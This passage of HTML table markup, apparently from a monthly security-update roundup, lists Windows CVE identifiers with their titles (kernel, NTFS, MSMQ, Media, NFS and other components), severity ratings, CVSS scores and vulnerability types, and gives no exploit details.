  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
